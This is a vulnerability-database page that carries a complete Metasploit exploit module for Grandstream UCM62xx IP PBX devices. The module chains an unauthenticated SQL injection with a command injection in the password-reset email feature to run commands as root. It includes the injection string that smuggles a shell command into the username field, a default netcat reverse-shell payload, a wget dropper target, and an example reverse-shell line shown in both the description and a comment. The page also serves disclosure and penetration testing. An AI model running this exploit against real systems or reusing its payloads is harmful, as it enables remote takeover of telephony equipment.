Lucene search
K

Grandstream UCM62xx IP PBX sendPasswordEmail Remote Code Execution

🗓️ 25 Jan 2022 00:00:00Reported by jbaines-r7, metasploit.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 286 Views

Grandstream UCM62xx IP PBX sendPasswordEmail RCE module exploits unauthenticated SQL injection and command injection vulnerabilities allowing remote attackers to execute commands as root. Affects UCM62xx versions before firmware 1.0.19.20

Related
Code
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
prepend Msf::Exploit::Remote::AutoCheck  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::CmdStager  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Grandstream UCM62xx IP PBX sendPasswordEmail RCE',  
'Description' => %q{  
This module exploits an unauthenticated SQL injection vulnerability (CVE-2020-5722) and  
a command injection vulnerability (technically, no assigned CVE but was inadvertently  
patched at the same time as CVE-2019-10662) affecting the Grandstream UCM62xx IP PBX  
series of devices. The vulnerabilities allow an unauthenticated remote attacker to  
execute commands as root.  
  
Exploitation happens in two stages:  
  
1. An SQL injection during username lookup while executing the "Forgot Password" function.  
2. A command injection that occurs after the user provided username is passed to a Python script  
via the shell. Like so:  
  
/bin/sh -c python /app/asterisk/var/lib/asterisk/scripts/sendMail.py \  
password '' `cat <<'TTsf7G0' z' or 1=1--`;`nc 10.0.0.3 4444 -e /bin/sh`;` TTsf7G0 `  
  
This module affect UCM62xx versions before firmware version 1.0.19.20.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'jbaines-r7' # Vulnerability discovery, original exploit, and Metasploit module  
],  
'References' => [  
[ 'CVE', '2020-5722' ],  
[ 'EDB', '48247']  
],  
'DisclosureDate' => '2020-03-23',  
'Platform' => ['unix', 'linux'],  
'Arch' => [ARCH_CMD, ARCH_ARMLE],  
'Privileged' => true,  
'Targets' => [  
[  
'Unix Command',  
{  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'Type' => :unix_cmd,  
'Payload' => {  
'DisableNops' => true,  
'BadChars' => '\'&|'  
},  
'DefaultOptions' => {  
'PAYLOAD' => 'cmd/unix/reverse_netcat_gaping'  
}  
}  
],  
[  
'Linux Dropper',  
{  
'Platform' => 'linux',  
'Arch' => [ARCH_ARMLE],  
'Type' => :linux_dropper,  
'CmdStagerFlavor' => [ 'wget' ]  
}  
]  
],  
'DefaultTarget' => 1,  
'DefaultOptions' => {  
'RPORT' => 8089,  
'SSL' => true  
},  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK ]  
}  
)  
)  
register_options([  
OptString.new('TARGETURI', [true, 'Base path', '/'])  
])  
end  
  
##  
# Sends a POST /cgi request with a payload of action=getInfo. The  
# server should respond with a large json blob like the following,  
# where "prog_version" is he firmware version:  
#  
# {"response"=>{  
# "model_name"=>"UCM6202", "description"=>"IPPBX Appliance",  
# "device_name"=>"", "logo"=>"images/h_logo.png", "logo_url"=>"http://www.grandstream.com/",  
# "copyright"=>"Copyright \u00A9 Grandstream Networks, Inc. 2014. All Rights Reserved.",  
# "num_fxo"=>"2", "num_fxs"=>"2", "num_pri"=>"0", "num_eth"=>"2", "allow_nat"=>"1",  
# "svip_type"=>"4", "net_mode"=>"0", "prog_version"=>"1.0.18.13", "country"=>"US",  
# "support_openvpn"=>"1", "enable_openvpn"=>"0", "enable_webrtc_openvpn"=>"0",  
# "support_webrtc_cloud"=>"0"}, "status"=>0}  
###  
def check  
normalized_uri = normalize_uri(target_uri.path, '/cgi')  
vprint_status("Requesting version information from #{normalized_uri}")  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalized_uri,  
'vars_post' => { 'action' => 'getInfo' }  
})  
  
return CheckCode::Unknown('HTTP status code is not 200') unless res&.code == 200  
  
body_json = res.get_json_document  
return CheckCode::Unknown('No JSON in response') unless body_json  
  
prog_version = body_json.dig('response', 'prog_version')  
return false if prog_version.nil?  
  
vprint_status("The reported version is: #{prog_version}")  
  
version = Rex::Version.new(prog_version)  
if version < Rex::Version.new('1.0.19.20')  
return CheckCode::Appears("This determination is based on the version string: #{prog_version}.")  
end  
  
return CheckCode::Safe("This determination is based on the version string: #{prog_version}.")  
end  
  
##  
# Throws a payload at the sendPasswordEmail action. The payload must first survive an SQL injection  
# and then it will get passed to a python script via sh which allows us to execute a command injection.  
# It will look something like this:  
#  
# /bin/sh -c python /app/asterisk/var/lib/asterisk/scripts/sendMail.py \  
# password '' `cat <<'TTsf7G0' z' or 1=1--`;`nc 10.0.0.3 4444 -e /bin/sh`;` TTsf7G0 `  
#  
# This functionality is related to the"Forgot Password" feature. This function is rate limited by  
# the server so that an attacker can only invoke it, at most, every 60 seconds. As such, only a few  
# payloads are appropriate.  
###  
def execute_command(cmd, _opts = {})  
rand_num = Rex::Text.rand_text_numeric(1..5)  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, '/cgi'),  
'vars_post' =>  
{  
'action' => 'sendPasswordEmail',  
'user_name' => "' or #{rand_num}=#{rand_num}--`;`#{cmd}`;`"  
}  
}, 5)  
  
# the netcat reverse shell payload holds the connection open. So we'll treat no response  
# as a success. The meterpreter payload does not hold the connection open so this clause digs  
# deeper to ensure it succeeded. The server will respond with a non-0 status if the payload  
# generates an error (e.g. rate limit error)  
if res  
fail_with(Failure::UnexpectedReply, 'The target did not respond with a 200 OK') unless res.code == 200  
  
body_json = res.get_json_document  
fail_with(Failure::UnexpectedReply, 'The target did not respond with a JSON body') unless body_json  
  
status_json = body_json['status']  
fail_with(Failure::UnexpectedReply, 'The JSON response is missing the status element') unless status_json  
fail_with(Failure::UnexpectedReply, "The server responded with an error status #{status_json}") unless status_json == 0  
end  
  
print_good('Exploit successfully executed.')  
end  
  
def exploit  
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")  
case target['Type']  
when :unix_cmd  
execute_command(payload.encoded)  
when :linux_dropper  
execute_cmdstager  
end  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

25 Jan 2022 00:00Current
0.4Low risk
Vulners AI Score0.4
CVSS 3.19.8
CVSS 210
EPSS0.92735
286